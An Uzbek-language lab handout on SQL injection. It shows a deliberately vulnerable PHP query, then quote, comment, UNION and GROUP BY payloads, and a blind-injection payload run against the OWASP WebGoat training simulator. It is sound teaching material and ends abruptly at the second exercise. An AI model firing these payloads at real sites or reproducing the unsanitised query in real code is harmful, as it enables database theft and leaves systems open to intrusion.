3 – amaliy ish

$user = $_GET['user'];

$query = "SELECT * FROM news WHERE user='$user'"; Quyidagi so‘rovni kiritish orqali uni aniqlash mumkin: sqlinj/index1.php?user=hacker'

3. 
   SQL tilida kommentariyaga olish “--” belgisi bilan amalga oshiriladi. Ushbu belgini oldidan va orqasidan probel bo‘lishi zarur. URL manzillarda probel “%20” kabi ifodalanadi.
   

SELECT * FROM news WHERE user='hacker' -- blablabla

URL da ifodasi sqlinj/index1.php?user=hacker'%20--%20 blablabla

4. 
   UNION buyrug‘idan foydalanish orqali maydonlar sonini bilish mumkin.
   

sqlinj/index1.php?id=1 UNION SELECT 1,2

xatolik

sqlinj/index1.php?id=1 UNION SELECT 1,2,3

xatolik yuq demak ustunlar soni 3 ga teng.

5. 
   GROUP BY dan foydalangan holda ustunlar sonini aniqlash.
   

sqlinj/index1.php?id=1 GROUP BY 2

Amaliy qism

1. Mantiqiy “ko‘r” ineksiyani yaratish. Buning uchun Owaspweb Goat simulyatoridan foydalaniladi.

Dastlab siqilgan faylni oching (WebGoat-OWASP_Standard-5.2.zip)


4.1-rasm. WebGoat-OWASP_Standard-5.2.zip
–Run webgoat.bat (or webgoat_8080.bat) ishga tushuriladi

4.2-rasm. webgoat_8080.bat

–http://localhost/WebGoat/attack (ixtiyoriy brauzer orqali ko‘rsatilgan linkga murojat qilinadi )

4.3-rasm. http://localhost/WebGoat/attack

Id = guest, pw = guest so‘zini kiritamiz va natijada quyidagi oyna paydo bo‘ ladi:

4.3-rasm. Umumiy oyna

Start WebGoat tugmasi orqali quyidagi oyna paydo bo‘ladi, bu yerda kirish, umumiy qoidalar, ruhsatlarni boshqarish qoidalari, injection qoidalari va boshqa qismlardan iborat. Injection Flaws tugmasini bosish orqali uning tarkibiy element funksiyalarini ko‘rishimiz mumkin bo‘ladi.

4.4-rasm. Injection Flaws
Injection flaws tarkibiy element funksiyalari

4.1-jadval

Command Injection

Blind SQL Injection

Numeric SQL Injection

Log Spoofing

XPATH Injection

LAB: SQL Injection

Stage 1: String SQL Injection

Stage 2: Parameterized Query #1

Stage 3: Numeric SQL Injection

Stage 4: Parameterized Query #2

String SQL Injection

Database Backdoors

Blind SQL Injection quyidagi oyna hosil bo‘ladi va u yerga first_name kattalining uzunligi 6 ga teng bo‘lga ismni toppish talab etiladi, toppish uchun 101 and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613) >=
74) and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613)
<= 74) so‘rovini kiritamiz qachonki shartni qanolatlantigunga qadar davom etadi.

4.4-rasm. So‘rov kiritish jarayoni

Yuqoridagi so‘rovdan foydalanib, 15613 raqamli foydalanuvchini first_name ni toping (http://138.25.67.99/AsciiTable.html).
4.5-rasm. ASCII jadvali

2.